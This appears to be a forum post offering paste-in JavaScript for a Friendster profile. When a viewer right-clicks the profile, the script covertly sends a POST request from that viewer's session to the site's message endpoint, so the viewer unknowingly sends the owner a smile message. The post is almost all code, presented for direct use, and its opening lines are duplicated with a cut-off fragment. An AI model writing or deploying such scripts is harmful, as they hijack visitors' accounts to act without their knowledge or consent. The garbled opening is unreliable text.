Sends a smiley to you when a viewer right clicked your profile, without them knowing.
ready to use code, just paste inside your js file
[quote]if(pageOwnerID!=pageViewerID || !pageViewerID) {
var
Sends a smiley to you when a viewer right clicked your profile, without them knowing.
ready to use code, just paste inside your js file
[quote]if(pageOwnerID!=pageViewerID || !pageViewerID) {
var smile;
document.getElementsByTagName("body")[0].setAttribute("onmousedown","whichButton(event)");
}
function whichButton(event) {
if (event.button==2) {
if(!smile) smile=new Smile("i right clicked your profile");
}
}
function Smile(message){
var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
httprequest.onreadystatechange=function() {
if (httprequest.readyState==4){
}
};
var l=500-message.length;
var param="&uid="+pageOwnerID+"&_submitted=1&inputcount="+l+"&message="+encodeURI(message)+"&form_id=";
httprequest.open( 'POST', "http://www.friendster.com/sendmessage.php?action=sendsmile", false);
httprequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httprequest.setRequestHeader("Content-length", param.length);
httprequest.setRequestHeader("Connection", "close");
httprequest.send(param);
}[/quote]